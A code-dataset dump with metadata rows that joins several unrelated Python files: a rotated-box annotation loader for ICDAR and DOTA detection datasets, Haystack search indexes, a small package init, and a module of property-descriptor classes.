# gt_dict = json.load(open(gt_json, 'r'))
gt_dir = os.path.join(dataset_dir, mode, 'gt')
im_dir = os.path.join(dataset_dir, mode, 'image')
imlist = os.listdir(im_dir)
im_infos = []
num_samples = data_split[mode][1] - data_split[mode][0]
cnt = 0
for imname in imlist:
# forder = int(imnum / 15000)
# imfolder = os.path.join(dataset_dir, 'train_full_images_'+str(forder), 'train_full_images_'+str(forder))
impath = os.path.join(im_dir, imname)
gtpath = os.path.join(gt_dir, imname.split('.')[0] + '.json')
gt_anno = open(gtpath, 'r')
inst_num = len(gt_anno)
im = cv2.imread(impath)
easy_boxes = []
hard_boxes = []
cnt += 1
print(str(cnt) + '/' + str(data_split[mode][0] + num_samples), impath)
# using lines
lines = gt_anno['lines']
for i in range(len(lines)):
inst = lines[i]
# print(inst.keys())
poly = np.array(inst['points']).reshape(-1, 2)
words = inst['transcription']
ignore = inst['ignore']
color = (255, 0, 255) if not ignore else (0, 0, 255)
if poly.shape[0] > 4:
# print('polygon:', poly.shape[0])
rect = cv2.minAreaRect(poly)
poly = np.array(cv2.boxPoints(rect), np.int)
# print('rect:', rect)
if vis:
rect_pt_num = rect.shape[0]
for i in range(rect.shape[0]):
cv2.line(im, (rect[i % rect_pt_num][0], rect[i % rect_pt_num][1]),
(rect[(i + 1) % rect_pt_num][0], rect[(i + 1) % rect_pt_num][1]), (0, 255, 0), 2)
if vis:
pt_num = poly.shape[0]
for i in range(poly.shape[0]):
cv2.line(im, (poly[i % pt_num][0], poly[i % pt_num][1]),
(poly[(i + 1) % pt_num][0], poly[(i + 1) % pt_num][1]), color, 2)
poly = poly.reshape(-1)
pt1 = (int(poly[0]), int(poly[1]))
pt2 = (int(poly[2]), int(poly[3]))
pt3 = (int(poly[4]), int(poly[5]))
pt4 = (int(poly[6]), int(poly[7]))
edge1 = np.sqrt((pt1[0] - pt2[0]) * (pt1[0] - pt2[0]) + (pt1[1] - pt2[1]) * (pt1[1] - pt2[1]))
edge2 = np.sqrt((pt2[0] - pt3[0]) * (pt2[0] - pt3[0]) + (pt2[1] - pt3[1]) * (pt2[1] - pt3[1]))
angle = 0
if edge1 > edge2:
width = edge1
height = edge2
if pt1[0] - pt2[0] != 0:
angle = -np.arctan(float(pt1[1] - pt2[1]) / float(pt1[0] - pt2[0])) / 3.1415926 * 180
else:
angle = 90.0
elif edge2 >= edge1:
width = edge2
height = edge1
# print pt2[0], pt3[0]
if pt2[0] - pt3[0] != 0:
angle = -np.arctan(float(pt2[1] - pt3[1]) / float(pt2[0] - pt3[0])) / 3.1415926 * 180
else:
angle = 90.0
if angle < -45.0:
angle = angle + 180
x_ctr = float(pt1[0] + pt3[0]) / 2 # pt1[0] + np.abs(float(pt1[0] - pt3[0])) / 2
y_ctr = float(pt1[1] + pt3[1]) / 2 # pt1[1] + np.abs(float(pt1[1] - pt3[1])) / 2
# if height * width * (800 / float(img.shape[0])) < 16 * 16 and mode == "train":
# continue
if ignore:
hard_boxes.append([x_ctr, y_ctr, width, height, angle])
else:
easy_boxes.append([x_ctr, y_ctr, width, height, angle])
# boxes.append([x_ctr, y_ctr, width, height, angle, gt_ind[8]])
# img_pil = Image.fromarray(im)
boxes = []
boxes.extend(easy_boxes)
boxes.extend(hard_boxes[0: int(len(hard_boxes) / 5)])
len_of_bboxes = len(boxes)
gt_boxes = np.zeros((len_of_bboxes, 5), dtype=np.int16)
gt_classes = np.zeros((len_of_bboxes), dtype=np.int32)
overlaps = np.zeros((len_of_bboxes, 2), dtype=np.float32) # text or non-text
seg_areas = np.zeros((len_of_bboxes), dtype=np.float32)
for idx in range(len(boxes)):
gt_boxes[idx, :] = [boxes[idx][0], boxes[idx][1], boxes[idx][2], boxes[idx][3], boxes[idx][4]]
gt_classes[idx] = 1 # cls_text
overlaps[idx, 1] = 1.0 # cls_text
seg_areas[idx] = (boxes[idx][2]) * (boxes[idx][3])
# img_pil = vis_image(img_pil, gt_boxes)
# img_pil.save('gt_LSVT.jpg', 'jpeg')
# break
max_overlaps = overlaps.max(axis=1)
# gt class that had the max overlap
max_classes = overlaps.argmax(axis=1)
if gt_boxes.shape[0] <= 0 or gt_boxes.shape[0] > 100:
continue
# print('gt_boxes:', gt_boxes)
im_info = {
'gt_classes': gt_classes,
'max_classes': max_classes,
'image': impath,
'boxes': gt_boxes,
'flipped': False,
'gt_overlaps': overlaps,
'seg_areas': seg_areas,
'height': im.shape[0],
'width': im.shape[1],
'max_overlaps': max_overlaps,
'rotated': True
}
im_infos.append(im_info)
print('Saving pkls...')
pkl_f = open(cache_file, 'wb')
pickle.dump(im_infos, pkl_f)
pkl_f.close()
print('done')
return im_infos
def get_ICDAR_ArT(mode, dataset_dir):
assert mode in ['train', 'val', 'full'], 'mode not in ' + str(['train', 'val', 'full'])
data_split = {
'val':[4000, 5603],
'train':[0, 4000],
'full':[0, 5603]
}
vis = False
dataset_dir = os.path.join(dataset_dir, 'ArT_detect_train')
cache_file = './data_cache/ArT_det_' + mode + '.pkl'
if os.path.isfile(cache_file):
print('dataset cache found, loading from it...')
im_infos = pickle.load(open(cache_file, 'rb'))
print('load done')
return im_infos
im_codes = range(data_split[mode][0], data_split[mode][1])
gt_json = os.path.join(dataset_dir, 'train_labels.json')
gt_dict = json.load(open(gt_json, 'r'))
im_infos = []
num_samples = data_split[mode][1] - data_split[mode][0]
for imnum in im_codes:
# forder = int(imnum / 15000)
imfolder = os.path.join(dataset_dir, 'train_images')
impath = os.path.join(imfolder, 'gt_' + str(imnum) + '.jpg')
gt_code = 'gt_' + str(imnum)
gt_anno = gt_dict[gt_code]
inst_num = len(gt_anno)
im = cv2.imread(impath)
easy_boxes = []
hard_boxes = []
print(str(imnum) + '/' + str(data_split[mode][0] + num_samples), impath)
for i in range(inst_num):
inst = gt_anno[i]
# print(inst.keys())
poly = np.array(inst['points'])
words = inst['transcription']
illegibility = inst['illegibility']
language = inst['language']
color = (255, 0, 255) if illegibility else (0, 0, 255)
if poly.shape[0] > 4:
# print('polygon:', poly.shape[0])
rect = cv2.minAreaRect(poly)
poly = np.array(cv2.boxPoints(rect), np.int)
# print('rect:', rect)
if vis:
rect_pt_num = rect.shape[0]
for i in range(rect.shape[0]):
cv2.line(im, (rect[i % rect_pt_num][0], rect[i % rect_pt_num][1]),
(rect[(i + 1) % rect_pt_num][0], rect[(i + 1) % rect_pt_num][1]), (0, 255, 0), 2)
if vis:
pt_num = poly.shape[0]
for i in range(poly.shape[0]):
cv2.line(im, (poly[i % pt_num][0], poly[i % pt_num][1]),
(poly[(i + 1) % pt_num][0], poly[(i + 1) % pt_num][1]), color, 2)
if poly.shape[0] < 4:
print('poly:', poly.shape, np.array(inst['points']).shape)
continue
poly = poly.reshape(-1)
pt1 = (int(poly[0]), int(poly[1]))
pt2 = (int(poly[2]), int(poly[3]))
pt3 = (int(poly[4]), int(poly[5]))
pt4 = (int(poly[6]), int(poly[7]))
edge1 = np.sqrt((pt1[0] - pt2[0]) * (pt1[0] - pt2[0]) + (pt1[1] - pt2[1]) * (pt1[1] - pt2[1]))
edge2 = np.sqrt((pt2[0] - pt3[0]) * (pt2[0] - pt3[0]) + (pt2[1] - pt3[1]) * (pt2[1] - pt3[1]))
angle = 0
if edge1 > edge2:
width = edge1
height = edge2
if pt1[0] - pt2[0] != 0:
angle = -np.arctan(float(pt1[1] - pt2[1]) / float(pt1[0] - pt2[0])) / 3.1415926 * 180
else:
angle = 90.0
elif edge2 >= edge1:
width = edge2
height = edge1
# print pt2[0], pt3[0]
if pt2[0] - pt3[0] != 0:
angle = -np.arctan(float(pt2[1] - pt3[1]) / float(pt2[0] - pt3[0])) / 3.1415926 * 180
else:
angle = 90.0
if angle < -45.0:
angle = angle + 180
x_ctr = float(pt1[0] + pt3[0]) / 2 # pt1[0] + np.abs(float(pt1[0] - pt3[0])) / 2
y_ctr = float(pt1[1] + pt3[1]) / 2 # pt1[1] + np.abs(float(pt1[1] - pt3[1])) / 2
# if height * width * (800 / float(img.shape[0])) < 16 * 16 and mode == "train":
# continue
if illegibility:
hard_boxes.append([x_ctr, y_ctr, width, height, angle])
else:
easy_boxes.append([x_ctr, y_ctr, width, height, angle])
# boxes.append([x_ctr, y_ctr, width, height, angle, gt_ind[8]])
# img_pil = Image.fromarray(im)
boxes = []
boxes.extend(easy_boxes)
# boxes.extend(hard_boxes[0: int(len(hard_boxes) / 3)])
len_of_bboxes = len(boxes)
gt_boxes = np.zeros((len_of_bboxes, 5), dtype=np.int16)
gt_classes = np.zeros((len_of_bboxes), dtype=np.int32)
overlaps = np.zeros((len_of_bboxes, 2), dtype=np.float32) # text or non-text
seg_areas = np.zeros((len_of_bboxes), dtype=np.float32)
for idx in range(len(boxes)):
gt_boxes[idx, :] = [boxes[idx][0], boxes[idx][1], boxes[idx][2], boxes[idx][3], boxes[idx][4]]
gt_classes[idx] = 1 # cls_text
overlaps[idx, 1] = 1.0 # cls_text
seg_areas[idx] = (boxes[idx][2]) * (boxes[idx][3])
# img_pil = vis_image(img_pil, gt_boxes)
# img_pil.save('gt_LSVT.jpg', 'jpeg')
# break
max_overlaps = overlaps.max(axis=1)
# gt class that had the max overlap
max_classes = overlaps.argmax(axis=1)
if gt_boxes.shape[0] <= 0:
continue
# print('gt_boxes:', gt_boxes)
im_info = {
'gt_classes': gt_classes,
'max_classes': max_classes,
'image': impath,
'boxes': gt_boxes,
'flipped': False,
'gt_overlaps': overlaps,
'seg_areas': seg_areas,
'height': im.shape[0],
'width': im.shape[1],
'max_overlaps': max_overlaps,
'rotated': True
}
im_infos.append(im_info)
print('Saving pkls...')
pkl_f = open(cache_file, 'wb')
pickle.dump(im_infos, pkl_f)
pkl_f.close()
print('done')
return im_infos
##########################################
# clw modify : 20190802
def get_DOTA(mode, dataset_dir):
DATASET_DIR = dataset_dir
print('clw:在get_DOTA中, dataset_dir = ', dataset_dir)
#img_dir = "/ch2_training_images/"
#gt_dir = "/ch2_training_localization_transcription_gt"
img_dir = "/images/" # clw modify
gt_dir = "/labelTxt/" # TODO:这个还需要自己生成,之前在R2CNN的train_crop写过生成方法
cls_list = \
{
'background': 0,
'roundabout': 1,
'tennis-court': 2,
'swimming-pool': 3,
'storage-tank': 4,
'soccer-ball-field': 5,
'small-vehicle': 6,
'ship': 7,
'plane': 8,
'large-vehicle': 9,
'helicopter': 10,
'harbor': 11,
'ground-track-field': 12,
'bridge': 13,
'basketball-court': 14,
'baseball-diamond': 15,
'helipad': 16,
'airport': 17,
'container-crane': 18
}
# gt_list = []
# img_list = []
im_infos = []
image_dir = DATASET_DIR + img_dir
gt_file_list = os.listdir(image_dir)
#gt_words = []
if mode == 'train':
cache_pkl = './data_cache/DOTA_training.pkl'
if os.path.isfile(cache_pkl):
return pickle.load(open(cache_pkl, 'rb'))
count_small = 0 # 统计小物体
for image in gt_file_list:
#prefix = image[:-4]
#im_path = os.path.join(image_dir, image)
#gt_path = os.path.join(dataset_dir + gt_dir, 'gt_' + prefix + '.txt')
prefix = image.split('.')[0]
im_path = os.path.join(image_dir, image)
gt_path = os.path.join(dataset_dir + gt_dir, prefix + '.txt')
print(im_path)
gt_list = open(gt_path, 'r', encoding='utf-8').readlines()
im = cv2.imread(im_path)
if im is None:
print(im_path + '--> None')
continue
boxes = []
for gt_ele in gt_list:
gt_ele = gt_ele.replace('\n', '').replace('\ufeff', '')
#gt = gt_ele.split(',')
gt = gt_ele.split(' ') # 形如2244.0 1791.0 2254.0 1795.0 2245.0 1813.0 2238.0 1809.0 small-vehicle 1
if len(gt) > 1:
gt_ind = np.array(gt[:8], dtype=np.float32)
#gt_ind = np.array(gt_ind, dtype=np.int32)
words = gt[8]
# clw note: 对于数据集都是矩形框如ICDAR,而且四个顶点必须按顺时针或逆时针顺序出现,才可以这样写,
# 而这里是四边形框,且四个点随机出现,因此考虑使用cv2,先转成矩形框
rect = cv2.minAreaRect(np.array([[gt_ind[0], gt_ind[1]], [gt_ind[2], gt_ind[3]], [gt_ind[4], gt_ind[5]],[gt_ind[6], gt_ind[7]]]))
# x_ctr = rect[0][0]
# y_ctr = rect[0][1]
# width = rect[1][0]
# height = rect[1][1]
# angle = rect[2] # rect[2]范围是[-90, 0), 而angle范围从上面来看是[-45, 135)
box = cv2.boxPoints(rect) # 获取最小外接矩形的4个顶点坐标
box = np.round(box) # clw note: 顺时针标注,顺序不一定
pt1 = (box[0][0], box[0][1])
pt2 = (box[1][0], box[1][1])
pt3 = (box[2][0], box[2][1])
pt4 = (box[3][0], box[3][1])
##############################################################################################
edge1 = np.sqrt((pt1[0] - pt2[0]) * (pt1[0] - pt2[0]) + (pt1[1] - pt2[1]) * (pt1[1] - pt2[1])) # clw note: (x1 - x2)^2 + (y1 - y2)^2
edge2 = np.sqrt((pt2[0] - pt3[0]) * (pt2[0] - pt3[0]) + (pt2[1] - pt3[1]) * (pt2[1] - pt3[1]))
angle = 0
if edge1 > edge2:
width = edge1
height = edge2
if pt1[0] - pt2[0] != 0:
angle = -np.arctan(float(pt1[1] - pt2[1]) / float(pt1[0] - pt2[0])) / 3.1415926 * 180
else:
angle = 90.0
elif edge2 >= edge1:
width = edge2
height = edge1
# print pt2[0], pt3[0]
if pt2[0] - pt3[0] != 0:
angle = -np.arctan(float(pt2[1] - pt3[1]) / float(pt2[0] - pt3[0])) / 3.1415926 * 180
else:
angle = 90.0
if angle < -45.0:
angle = angle + 180
x_ctr = float(pt1[0] + pt3[0]) / 2 # pt1[0] + np.abs(float(pt1[0] - pt3[0])) / 2
y_ctr = float(pt1[1] + pt3[1]) / 2 # pt1[1] + np.abs(float(pt1[1] - pt3[1])) / 2
##############################################################################################
# continue
if height * width < 8 * 8:
print('clw: 小于8x8,删掉,count = ',count_small)
count_small = count_small+1
continue
# return to width, height
# if '###' in words:
# continue
if not words in ['roundabout','tennis-court','swimming-pool','storage-tank','soccer-ball-field','small-vehicle','ship','plane','large-vehicle', 'helicopter','harbor','ground-track-field','bridge','basketball-court', 'baseball-diamond','helipad','airport','container-crane']:
print('clw: gt_ind[8] = ' + gt_ind[8] + 'not in list')
continue
boxes.append([x_ctr, y_ctr, width, height, angle, words])
#cls_num = 2
cls_num = len(cls_list.keys())
len_of_bboxes = len(boxes)
##########################################################################
# clw note: 如果只有一个类别
#gt_boxes = np.zeros((len_of_bboxes, 5), dtype=np.int16)
#gt_classes = np.zeros((len_of_bboxes), dtype=np.int32)
#overlaps = np.zeros((len_of_bboxes, cls_num), dtype=np.float32) # text or non-text
#seg_areas = np.zeros((len_of_bboxes), dtype=np.float32)
##########################################################################
##########################################################################
### 如果有多个类别:
gt_boxes_list = [] # np.zeros((len_of_bboxes, 5), dtype=np.int16)
gt_classes_list = [] # np.zeros((len_of_bboxes), dtype=np.int32)
overlaps_list = [] # np.zeros((len_of_bboxes, cls_num), dtype=np.float32) #text or non-text
seg_areas_list = [] # np.zeros((len_of_bboxes), dtype=np.float32)
##########################################################################
for idx in range(len(boxes)):
##########################################################################
### 如果有多个类别:
if not boxes[idx][5] in cls_list:
print(boxes[idx][5] + " not in list")
continue
gt_classes_list.append(cls_list[boxes[idx][5]]) # cls_text
overlap = np.zeros((cls_num))
overlap[cls_list[boxes[idx][5]]] = 1.0 # prob
overlaps_list.append(overlap)
seg_areas_list.append((boxes[idx][2]) * (boxes[idx][3]))
gt_boxes_list.append([boxes[idx][0], boxes[idx][1], boxes[idx][2], boxes[idx][3], boxes[idx][4]])
gt_classes = np.array(gt_classes_list)
overlaps = np.array(overlaps_list)
seg_areas = np.array(seg_areas_list)
gt_boxes = np.array(gt_boxes_list)
##########################################################################
##########################################################################
### clw note:如果只有一个类别
#gt_classes[idx] = 1 # cls_text
#overlaps[idx, 1] = 1.0 # prob
#seg_areas[idx] = (boxes[idx][2]) * (boxes[idx][3])
#gt_boxes[idx, :] = [boxes[idx][0], boxes[idx][1], boxes[idx][2], boxes[idx][3], boxes[idx][4]]
##########################################################################
# print ("boxes_size:", gt_boxes.shape[0])
if gt_boxes.shape[0] > 0:
max_overlaps = overlaps.max(axis=1)
# gt class that had the max overlap
max_classes = overlaps.argmax(axis=1)
else:
continue
im_info = {
'gt_classes': gt_classes,
'max_classes': max_classes,
'image': im_path,
'boxes': gt_boxes,
#'gt_words': gt_words, # clw note:不需要
'flipped': False,
'gt_overlaps': overlaps,
'seg_areas': seg_areas,
'height': im.shape[0],
'width': im.shape[1],
'max_overlaps': max_overlaps,
'rotated': True
}
im_infos.append(im_info)
f_save_pkl = open(cache_pkl, 'wb')
pickle.dump(im_infos, f_save_pkl)
f_save_pkl.close()
print("Save pickle done.")
return im_infos
##########################################
DATASET = {
'IC13':get_ICDAR2013,
'IC15':get_ICDAR2015_RRC_PICK_TRAIN,
'IC17mlt':get_ICDAR2017_mlt,
'LSVT':get_ICDAR_LSVT_full,
'ArT':get_ICDAR_ArT,
'ReCTs':get_ICDAR_ReCTs_full,
'DOTA':get_DOTA, # clw modify
}
_DEBUG = False
class RotationDataset(torch.utils.data.Dataset):
CLASSES = (
"__background__ ", #"background",
"roundabout",
"tennis-court",
"swimming-pool",
"storage-tank",
"soccer-ball-field",
"small-vehicle",
"ship",
"plane",
"large-vehicle",
"helicopter",
"harbor",
"ground-track-field",
"bridge",
"basketball-court",
"baseball-diamond",
"helipad",
"airport",
"container-crane"
)
def __init__(self, database, use_difficult=False, transforms=None):
# database:{dataset_name, dataset_dir}
self.transforms = transforms
self.annobase = []
for dataset_name in database:
if dataset_name in DATASET:
self.annobase.extend(DATASET[dataset_name]('train', database[dataset_name])) # clw note:由annobase把12519条训练数据加载进来,通过加载.pkl
print('DATASET: Total samples from:', database.keys(), len(self.annobase))
self.ids = [anno['image'][:-4] for anno in self.annobase]
self.id_to_img_map = {k: v for k, v in enumerate(self.ids)}
cls = RotationDataset.CLASSES
self.class_to_ind = dict(zip(cls, range(len(cls))))
self.mixup = T.MixUp(mix_ratio=0.1)
self.num_samples = len(self.annobase)
def __getitem__(self, index):
# if _DEBUG:
# index = 0
# img_id = self.ids[index]
im_path = self.annobase[index]['image']# os.path.join(self.root, img_id + '.jpg')
img = Image.open(im_path).convert("RGB")
# im = cv2.imread(im_path)
anno = self.annobase[index]
target = RBoxList(torch.from_numpy(anno["boxes"]), (anno['width'], anno['height']), mode="xywha")
target.add_field("labels", torch.from_numpy(anno["gt_classes"]))
target.add_field("difficult", torch.Tensor([0 for i in range(len(anno["gt_classes"]))]))
target = target.clip_to_image(remove_empty=True)
# print('target:', target, im_path)
if self.transforms is not None:
# off = int(self.num_samples * np.random.rand())
# mix_index = (off + index) % self.num_samples
# img_mix = Image.open(self.annobase[mix_index]['image']).convert("RGB")
# img, target = self.mixup(img, img_mix, target)
img, target = self.transforms(img, target)
if _DEBUG:
if not target is None:
self.show_boxes(img, target)
return img, target, index
def __len__(self):
return len(self.ids)
def get_img_info(self, index):
return {"height": self.annobase[index]['height'], "width": self.annobase[index]['width']}
def map_class_id_to_class_name(self, class_id):
return RotationDataset.CLASSES[class_id]
def show_boxes(self, img, target):
bbox_np = target.bbox.data.cpu().numpy()
# print('image shape:', img.size())
np_img = np.transpose(np.uint8(img.data.cpu().numpy()), (1, 2, 0))
img_pil = Image.fromarray(np_img)
# print('bbox_np:', bbox_np)
draw_img = vis_image(img_pil, bbox_np)
draw_img.save('gt_show.jpg', 'jpeg')
# print('Sleep for show...')
# time.sleep(2)
if __name__ == '__main__':
get_DOTA('train', '/media/clwclw/Elements/deep_learning/competion/2019yaogan/train/train_crop_800')
#get_DOTA('train', 'H:/deep_learning/competion/2019yaogan/train/train_crop_1200') | 39.913136 | 291 | 0.465594 | 6,935 | 56,517 | 3.616006 | 0.058399 | 0.028393 | 0.012561 | 0.014356 | 0.815129 | 0.806317 | 0.789449 | 0.777007 | 0.768393 | 0.754476 | 0 | 0.061105 | 0.37686 | 56,517 | 1,416 | 292 | 39.913136 | 0.650946 | 0.110197 | 0 | 0.734452 | 0 | 0 | 0.071539 | 0.013726 | 0 | 0 | 0 | 0.000706 | 0.002962 | 1 | 0.012833 | false | 0 | 0.014808 | 0.002962 | 0.046397 | 0.033564 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a2b6de51aa8614d3e7e120556af9b50eb741d2b7 | 17 | py | Python | tests/assets/py.py | jayqi/reprexlite | efe0fa3190bd77ba8d47be6995cd9a0d040d36d4 | [
"MIT"
] | 6 | 2021-02-15T11:33:05.000Z | 2021-05-31T04:14:18.000Z | tests/assets/no_ad/py.py | jayqi/reprexlite | efe0fa3190bd77ba8d47be6995cd9a0d040d36d4 | [
"MIT"
] | 51 | 2021-02-15T21:06:51.000Z | 2022-03-31T15:11:21.000Z | tests/assets/py.py | jayqi/reprexlite | efe0fa3190bd77ba8d47be6995cd9a0d040d36d4 | [
"MIT"
] | null | null | null | x = 2
x + 2
#> 4
| 4.25 | 5 | 0.294118 | 5 | 17 | 1 | 0.6 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 0.470588 | 17 | 3 | 6 | 5.666667 | 0.222222 | 0.176471 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
0c0de7d4786d762694e8d349bd7ae3a2cc0fc211 | 828 | py | Python | books/search_indexes.py | phildini/bockus | 004508166f5b1a7c3c4d8accf32578a80379b385 | [
"MIT"
] | 3 | 2015-07-15T05:29:17.000Z | 2021-06-23T21:50:25.000Z | books/search_indexes.py | phildini/bockus | 004508166f5b1a7c3c4d8accf32578a80379b385 | [
"MIT"
] | 4 | 2020-02-11T22:15:04.000Z | 2021-06-10T17:41:51.000Z | books/search_indexes.py | phildini/bockus | 004508166f5b1a7c3c4d8accf32578a80379b385 | [
"MIT"
] | null | null | null | from haystack import indexes
from books.models import Book, Series
class BookIndex(indexes.SearchIndex, indexes.Indexable):
text = indexes.NgramField(document=True, use_template=True)
library = indexes.IntegerField(model_attr="library_id")
def get_model(self):
return Book
def index_queryset(self, using=None):
return self.get_model().objects.all()
def get_updated_field(self):
return 'modified'
class SeriesIndex(indexes.SearchIndex, indexes.Indexable):
text = indexes.NgramField(document=True, use_template=True)
library = indexes.IntegerField(model_attr="library_id")
def get_model(self):
return Series
def index_queryset(self, using=None):
return self.get_model().objects.all()
def get_updated_field(self):
return 'modified' | 25.875 | 63 | 0.714976 | 102 | 828 | 5.647059 | 0.362745 | 0.041667 | 0.086806 | 0.118056 | 0.833333 | 0.833333 | 0.833333 | 0.833333 | 0.833333 | 0.833333 | 0 | 0 | 0.18599 | 828 | 32 | 64 | 25.875 | 0.854599 | 0 | 0 | 0.7 | 0 | 0 | 0.043426 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.3 | false | 0 | 0.1 | 0.3 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 9 |
0c178132811cb0009bf2bfe790d3208c8ef96067 | 70 | py | Python | cfl/util/__init__.py | eberharf/cfl | 077b99a05824f1371ac47d76dfed6bb160222668 | [
"BSD-3-Clause"
] | 6 | 2021-01-09T04:46:55.000Z | 2022-03-19T22:27:13.000Z | cfl/util/__init__.py | eberharf/cfl | 077b99a05824f1371ac47d76dfed6bb160222668 | [
"BSD-3-Clause"
] | 12 | 2021-01-11T16:32:58.000Z | 2022-03-19T13:21:30.000Z | cfl/util/__init__.py | eberharf/cfl | 077b99a05824f1371ac47d76dfed6bb160222668 | [
"BSD-3-Clause"
] | null | null | null | import cfl.util.data_processing
import cfl.util.find_xlbl_locations
| 23.333333 | 36 | 0.857143 | 11 | 70 | 5.181818 | 0.727273 | 0.315789 | 0.45614 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.085714 | 70 | 2 | 37 | 35 | 0.890625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
0c4f3df3920b634e692e2a63645a0dc1ac0e0b66 | 6,326 | py | Python | proppy/props.py | zfzackfrost/proppy | 9bfe1cfc5b4306e0fcec8bdfb3fe6df5035ca7c1 | [
"MIT"
] | null | null | null | proppy/props.py | zfzackfrost/proppy | 9bfe1cfc5b4306e0fcec8bdfb3fe6df5035ca7c1 | [
"MIT"
] | null | null | null | proppy/props.py | zfzackfrost/proppy | 9bfe1cfc5b4306e0fcec8bdfb3fe6df5035ca7c1 | [
"MIT"
] | null | null | null | # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Property Types ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #
class Property:
"""Base class for all properties.
This can be used directly for simple properties
with behaviour similar to a normal Python variable.
In other cases (i.e. more advanced property features
are requiered), a subclass of `Property` should be
used.
Note
`Property` objects don't store any data themselves, other than
their default value. They simply define the rules for creating,
reading and writing a property of a given type.
"""
def __init__(self, default_value):
"""Initialize the property.
Arguments:
default_value (anything): The initial value of the property
"""
self.__default_value = default_value
def make_property_init(self, propname):
"""Creates a function that intializes the property
Arguments:
propname (str): The name of the instance-level variable that the property will be accessed from
Returns:
callable: A function that creates the instance level variable the property with the specified property
name. The name of the instance level variable that is created should be the value of `propname` with a
single underscore before it. The function that is returned takes a single argument: `self`.
"""
this = self
def initializer(self):
setattr(self, '_' + propname, this.__default_value)
return initializer
def make_getter(self, propname):
"""Creates a function that gets the property
Arguments:
propname (str): The name of the instance-level variable that the property is accessed from
Returns:
callable: A function that gets the instance level variable for the property with the specified property name.
The name of the instance level variable that is retrieved should be the value of `propname` with a single
underscore before it. The function that is returned takes a single argument: `self`.
"""
def getter(self):
return getattr(self, '_' + propname)
return getter
def make_setter(self, propname):
"""Creates a function that sets the property
Arguments:
propname (str): The name of the instance-level variable that the property is accessed from
Returns:
callable: A function that sets the instance level variable for the property with the specified property name.
The name of the instance level variable that is written to should be the value of `propname` with a single
underscore before it. The function that is returned (the setter) takes two arguments: `self` and a the new
value.
"""
def setter(self, value):
setattr(self, '_' + propname, value)
return setter
# ~~~~~~~~~~~~~~~~~~~~~~~~~~ `Property` Subclasses ~~~~~~~~~~~~~~~~~~~~~~~~~~~ #
class WriteOnceProperty(Property):
"""Property that allows only a single assignment, other than the default value.
This property type has a getter and setter like any other property. However,
the setter sets a flag after the first assignment that disables further changes
to the value. Since the default value is handled separately from the setter,
the initial value of a `WriteOnceProperty` (set in the constructor) does not
count as the single allowed assignment.
"""
def __init__(self, default_value):
"""Initialize the property.
Arguments:
default_value (anything): The initial value of the property
"""
self.__default_value = default_value
def make_property_init(self, propname):
"""Creates a function that intializes the property
Arguments:
propname (str): The name of the instance-level variable that the property will be accessed from
Returns:
callable: A function that creates the instance level variable the property with the specified property
name. The name of the instance level variable that is created should be the value of `propname` with a
single underscore before it. The function that is returned takes a single argument: `self`.
"""
this = self
def initializer(self):
setattr(self, '_' + propname, this.__default_value)
setattr(self, '_' + propname + '__written', False)
return initializer
def make_getter(self, propname):
"""Creates a function that gets the property
Arguments:
propname (str): The name of the instance-level variable that the property is accessed from
Returns:
callable: A function that gets the instance level variable for the property with the specified property name.
The name of the instance level variable that is retrieved should be the value of `propname` with a single
underscore before it. The function that is returned takes a single argument: `self`.
"""
def getter(self):
return getattr(self, '_' + propname)
return getter
def make_setter(self, propname):
"""Creates a function that sets the property
Arguments:
propname (str): The name of the instance-level variable that the property is accessed from
Returns:
callable: A function that sets the instance level variable for the property with the specified property name.
The name of the instance level variable that is written to should be the value of `propname` with a single
underscore before it. The function that is returned (the setter) takes two arguments: `self` and a the new
value.
"""
def setter(self, value):
has_written = getattr(self, '_' + propname + '__written')
if not has_written:
setattr(self, '_' + propname, value)
setattr(self, '_' + propname + '__written', True)
return setter
